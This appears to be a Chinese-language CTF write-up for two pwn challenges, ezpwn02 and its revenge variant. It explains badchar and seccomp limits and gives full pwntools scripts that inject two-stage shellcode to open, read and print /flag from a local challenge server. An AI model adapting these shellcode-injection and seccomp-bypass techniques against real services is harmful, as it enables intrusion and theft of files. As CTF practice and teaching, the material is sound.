ezpwn02_revenge


同时开启 seccomp,只允许:
1
| read / write / openat / exit
|
所以不能 execve("/bin/sh"),只能用 ORW 读 /flag。
本题不能直接用:
1 2 3
| xor eax, eax mov dl, 0xff syscall
|
因为执行 shellcode 前调用了 puts("code accepted"),寄存器不再稳定保存 read(0, buf, 7) 的参数。
正确做法是第一阶段修改返回地址,跳回程序已有的 read 调用位置,让程序自己再读一次更长的 shellcode。
Stage1
1 2 3
| mov dl, 0xff mov byte ptr [rsp], 0xc1 ret
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('127.0.0.1', 57055)
stage1 = asm(''' mov dl, 0xff mov byte ptr [rsp], 0xc1 ret ''')
assert len(stage1) == 7
stage2 = asm(''' mov rax, 257 mov rdi, -100 xor rdx, rdx xor r10, r10
push rdx mov rbx, 0x67616c662f push rbx mov rsi, rsp syscall
mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall
mov rdx, rax mov rdi, 1 mov rax, 1 syscall ''')
p.recvuntil(b'> ') p.send(stage1) sleep(0.2) p.send(stage2)
p.interactive()
|
ezpwn02

程序通过 mmap 申请一块 RWX 内存:
1 2 3 4
| mov edx, 7 mov esi, 1000h call mmap mov rbx, rax
|
mmap 的返回地址保存在 rbx 中,因此:
程序随后把 stage1 读入这块内存,并检查 badchar:
1
| badchars: 00 0a 20 2f 66 6c 61 67
|
因此 stage1 不能包含:
1
| \x00 \x0a \x20 \x2f \x66 \x6c \x61 \x67
|
同时程序开启 seccomp,只允许:
1
| read / write / openat / exit
|
所以不能使用 execve("/bin/sh"),需要通过 openat + read + write 读取 flag。
利用思路
程序执行 shellcode 前有两条关键指令:
由于:
所以进入 stage1 时:
1 2
| rdi = shellcode_base rip = shellcode_base
|
也就是说,程序在跳转到 shellcode 前,把 shellcode 基地址作为第一个参数传给了 stage1。
因此 stage1 可以通过:
得到第二阶段 shellcode 的存放地址:
1
| rsi = shellcode_base + 0x40
|
由于 stage1 有长度和 badchar 限制,所以采用二阶段 shellcode:
1 2 3 4 5 6 7 8
| stage1: read(0, shellcode_base + 0x40, 0xff) jmp shellcode_base + 0x40
stage2: openat(AT_FDCWD, "/flag", 0, 0) read(fd, rsp, 0x100) write(1, rsp, n)
|
stage1 汇编如下:
1 2 3 4 5 6 7
| lea rsi, [rdi+0x40] xor edi, edi xor eax, eax xor edx, edx mov dl, 0xff syscall jmp rsi
|
等价于:
1 2
| read(0, shellcode_base + 0x40, 0xff); goto shellcode_base + 0x40;
|
由于 badchar 只检查 stage1,不检查 stage2,因此 stage2 中可以直接使用 /flag 字符串。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context.arch = "amd64" context.log_level = "debug"
io = remote("127.0.0.1", 52922)
stage1 = asm(""" lea rsi, [rdi+0x40] xor edi, edi xor eax, eax xor edx, edx mov dl, 0xff syscall jmp rsi """)
stage2 = asm(""" mov rax, 257 mov rdi, -100 xor rdx, rdx xor r10, r10
push rdx mov rbx, 0x67616c662f push rbx mov rsi, rsp syscall
mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall
mov rdx, rax mov rdi, 1 mov rax, 1 syscall """)
payload = p32(len(stage1)) + stage1 + stage2
io.send(payload) io.interactive()
|